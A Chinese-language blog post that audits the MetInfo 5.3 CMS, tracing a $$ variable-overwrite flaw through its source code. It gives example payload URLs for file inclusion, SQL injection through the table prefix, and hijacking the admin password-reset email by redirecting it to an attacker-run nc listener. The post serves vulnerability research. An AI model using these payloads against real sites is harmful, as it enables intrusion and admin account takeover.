metinfo_5.3变量覆盖引发的一系列问题

  metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用。

变量覆盖+文件包含

  拿到这个CMS首先还是浏览一下目录结构,简单浏览之后进入/index.php,其中

$index="index";
require_once 'include/common.inc.php';
require_once 'include/head.php';

  这里出现了require_once函数,可能会出现文件包含漏洞,于是跟读include/commen.inc.php,里面有一段代码

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key] = daddslashes($_value,0,0,1);
    }
}

  这一段就是经典的$$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含,跟读/about/index.php寻找突破点:

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

  这里使用了require_once函数包含了/include/module.php文件,继续跟读,这个文件的开头为:

<?php
if(!defined('IN_MET'))require_once 'common.inc.php';
$modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column);
$modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news);
$modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download);
$modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img);
$modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job);
$modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column);
$modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[101] = array(0=>'img.php',1=>'imgproduct.php',2=>$met_img);

  可以发现这个文件又包含了common.inc.php文件。理顺一下,/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:$module,$fmodule。我们可以用$fmodule变量通过两次文件包含,使用$_request来获取GET传递的新$fmodule值实现变量覆盖。

  为了实现上述思路,我们回到/include/module.php找$module和$fmodule的关系:

 1 $module='';
 2 if($fmodule!=7){
 3     if($mdle==100)$mdle=3;
 4     if($mdle==101)$mdle=5;
 5     $module = $modulefname[$mdle][$mdtp];
 6     if($module==NULL){okinfo('../404.html');exit();}
 7     if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
 8         if($fmodule==$mdle){
 9             $module = $modulefname[$mdle][$mdtp];
10         }
11         else{
12             okinfo('../404.html');exit();
13         }
14     }
15     else{
16         if($list){
17             okinfo('../404.html');exit();
18         }
19         else{
20             $module = $modulefname[$mdle][$mdtp];
21         }
22     }
23     if($mdle==8){
24     if(!$id)$id=$class1;
25     $module = '../feedback/index.php';
26     }

  根据上面程序的逻辑,我们可以发现当$fmodule不为7时,不覆盖;当$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在,可以结合文件包含漏洞进行利用,在/upload中上传phpinfo,payload:

http://127.0.0.1/metinfo-5.3/about/?fmodule=7&module=../upload/phpinfo.php

变量覆盖+SQL注入

  问题还是出现在include/commen.inc.php中:

 1 if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
 2     require_once '../app/app/shop/include/product.class.php';
 3     if($gotonew == 1){
 4         @define('M_NAME', 'shop');
 5         @define('M_MODULE', 'web');
 6         @define('M_CLASS', @$cmodule);
 7         @define('M_ACTION', 'doindex');
 8         require_once '../app/system/entrance.php';
 9         die();
10     }
11 }
12 header("Content-type: text/html;charset=utf-8");
13 error_reporting(E_ERROR | E_PARSE);
14 @set_time_limit(0);
15 $HeaderTime=time();
16 define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
17 PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
18 session_cache_limiter('private, must-revalidate'); 
19 @ini_set('session.auto_start',0); 
20 if(PHP_VERSION < '4.1.0') {
21     $_GET         = &$HTTP_GET_VARS;
22     $_POST        = &$HTTP_POST_VARS;
23     $_COOKIE      = &$HTTP_COOKIE_VARS;
24     $_SERVER      = &$HTTP_SERVER_VARS;
25     $_ENV         = &$HTTP_ENV_VARS;
26     $_FILES       = &$HTTP_POST_FILES;
27 }
28 require_once ROOTPATH.'include/mysql_class.php';
29 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
30 isset($_REQUEST['GLOBALS']) && exit('Access Error');
31 require_once ROOTPATH.'include/global.func.php';
32 foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
33     foreach($$_request as $_key => $_value) {
34         $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
35         $_M['form'][$_key] = daddslashes($_value,0,0,1);
36     }
37 }
38 $met_cookie=array();
39 $settings=array();
40 $db_settings=array();
41 $db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
42 @extract($db_settings);
43 $db = new dbmysql();
44 $db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
45 $query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
46 $mettable=$db->get_one($query);
47 $mettables=explode('|',$mettable[value]);
48 foreach($mettables as $key=>$val){
49     $tablename='met_'.$val;    
50     $$tablename=$tablepre.$val;
51     $_M['table'][$val] = $tablepre.$val;
52 }

  32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。第45行出现一个带有$tablepre变量的SQL语句:

$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";

  如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:

http://127.0.0.1/metinfo-5.3/include/common.inc.php?tablepre=mysql.user limit 1 #

  SQL语句就变成了:

$query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";

  从而实现了SQL注入(虽然没有回显)。

 变量覆盖+管理员密码修改

  这个变量覆盖漏洞出现在admin/admin/getpassword.php,下面贴一大堆代码:

  1 switch($action){
  2     case 'next1':
  3         if($abt_type==1){
  4             $description=$lang_password2;
  5             $title=$lang_password3;
  6         }else{
  7             $description=$lang_password4;
  8             $title=$lang_password5;
  9         }
 10     break;
 11     case 'next2':
 12         if($abt_type==1){
 13             die();
 14             if($met_smspass){
 15                 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
 16                 if($admin_list && $admin_list['admin_mobile']=='')okinfo('../admin/getpassword.php',$lang_password6);
 17                 if(!$admin_list){
 18                     if(!preg_match("/^((\(\d{2,3}\))|(\d{3}\-))?1(3|5|8|9)\d{9}$/",$admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
 19                     $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_mobile='$admin_mobile' and usertype='3'");
 20                     if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password8);
 21                 }
 22                 $code=generate_password(6);
 23                 $nber=generate_password(2);
 24                 $cnde=$code.'-'.$nber.'-'.$admin_list['admin_id'];
 25                 /*发送短信*/
 26                 require_once ROOTPATH.'include/export.func.php';
 27                 $domain = strdomain($met_weburl);
 28                 $message="$lang_password9{$code}$lang_password10{$nber}[{$domain}]";
 29                 $smsok=sendsms($admin_list['admin_mobile'],$message,5);
 30                 if($smsok=='SUCCESS'){
 31                     $mobile = substr($admin_list['admin_mobile'],0,3).'****'.substr($admin_list['admin_mobile'],7,10);
 32                     $description=$lang_password11.'<br/><span class="color999">'.$lang_password12.'</span>';
 33                     $query = "delete from $met_otherinfo where lang = 'met_cnde'";                  
 34                     $db->query($query);
 35                     /*写入数据库*/
 36                     $query = "INSERT INTO $met_otherinfo SET 
 37                         authpass = '$cnde',
 38                         lang     = 'met_cnde'";                  
 39                     $db->query($query);
 40                 }else{
 41                     okinfo('getpassword.php',sedsmserrtype($smsok));
 42                 }
 43             }else{
 44                 okinfo('getpassword.php',$lang_password13);
 45             }
 46         }else{
 47             $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
 48             if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14);
 49             if(!$admin_list){
 50                 if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
 51                 $admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'");
 52                 if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14);
 53             }
 54             if($admin_list){
 55                 $met_fd_usename=$met_fd_usename;
 56                 $met_fd_fromname=$met_fd_fromname;
 57                 $met_fd_password=$met_fd_password;
 58                 $met_fd_smtp=$met_fd_smtp;
 59                 $met_webname=$met_webname;
 60                 $met_weburl=$met_weburl;
 61                 $adminfile=$url_array[count($url_array)-2];
 62                 $from=$met_fd_usename;
 63                 $fromname=$met_fd_fromname;
 64                 $to=$admin_list['admin_email'];
 65                 $usename=$met_fd_usename;
 66                 $usepassword=$met_fd_password;
 67                 $smtp=$met_fd_smtp;
 68                 $title=$met_webname.$lang_getNotice;
 69                 $x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]);
 70                 $outime=3600*24*3;
 71                 $String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime);
 72                 $String=urlencode($String);
 73                 $mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String;
 74                 $body ="<style type='text/css'>\n";
 75                 $body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}\n";
 76                 $body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}\n";
 77                 $body .="#metinfo .logo img{ border:none;}\n";
 78                 $body .="#metinfo .logo a{ display:block;}\n";
 79                 $body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}\n";
 80                 $body .="#metinfo .text p{ margin-bottom:5px;}\n";
 81                 $body .="#metinfo .text a{ color:#70940E;}\n";
 82                 $body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}\n";
 83                 $body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }\n";
 84                 $body .="#metinfo .copy a:hover{ text-decoration:underline; }\n";
 85                 $body .="#metinfo .copy b{ font-weight:normal; }\n";
 86                 $body .="</style>\n";
 87                 $body .="<div id='metinfo'>\n";
 88                 if($met_agents_type<=1){
 89                     $body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>";
 90                 }
 91                 $body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>";
 92                 $body .="<p><a href='$mailurl'>$mailurl</a></p>\n";
 93                 if($met_agents_type<=1){
 94                     $body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>";
 95                 }
 96                 require_once ROOTPATH.'include/jmail.php';
 97                 $sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);
 98                 if($sendMail==0){
 99                     require_once ROOTPATH.'include/export.func.php';
100                     $post=array('to'=>$to,'title'=>$title,'body'=>$body);
101                     $met_file='/passwordmail.php';
102                     $sendMail=curl_post($post,30);
103                     if($sendMail=='nohost')$sendMail=0;    
104                 }
105                 
106                 $text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;
107                 okinfo('../index.php',$text);
108             }
109         }

  这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2,在第97行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用102行的curl_post函数发送邮件,我们跟读一下这个函数,该函数位于/include/export.func.php。

 1 function curl_post($post,$timeout){
 2 global $met_weburl,$met_host,$met_file;
 3 $host=$met_host;
 4 $file=$met_file;
 5     if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
 6         $curlHandle=curl_init(); 
 7         curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); 
 8         curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
 9         curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); 
10         curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
11         curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
12         curl_setopt($curlHandle,CURLOPT_POST, 1);    
13         curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
14         $result=curl_exec($curlHandle); 
15         curl_close($curlHandle); 
16     }

  其中$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:

 1     function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
 2     {
 3         global $met_fd_port,$met_fd_way;
 4         $mail             = new PHPMailer();
 5         //$mail->SMTPDebug  = 3;
 6         
 7         $mail->CharSet    = "UTF-8"; // charset
 8         $mail->Encoding   = "base64";
 9         $mail->Timeout    = 15; 
10         $mail->IsSMTP(); // telling the class to use SMTP
11         
12         //system
13         if(stripos($smtp,'.gmail.com')===false){
14             $mail->Port       = $met_fd_port;
15             $mail->Host       = $smtp; // SMTP server
16             if($met_fd_way=='ssl'){
17                 $mail->SMTPSecure = "ssl";
18             }else{
19                 $mail->SMTPSecure = "";
20             }
21         }
22 ……
23 ……
24 ……
25 if(!$mail->Send()) {
26             $mail->SmtpClose();
27           //return "Mailer Error: " . $mail->ErrorInfo;
28          return false;
29         } else {
30             $mail->SmtpClose();
31           //return "Message sent!";
32           return true;
33         }
34     }
35 }

  我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。

  我们先在服务器上监听80端口

nc -lv 80

  然后抓包构造payload即可获取邮件。

 

posted @ 2019-04-01 10:56  Richard_Lee97  阅读(790)  评论(0编辑  收藏  举报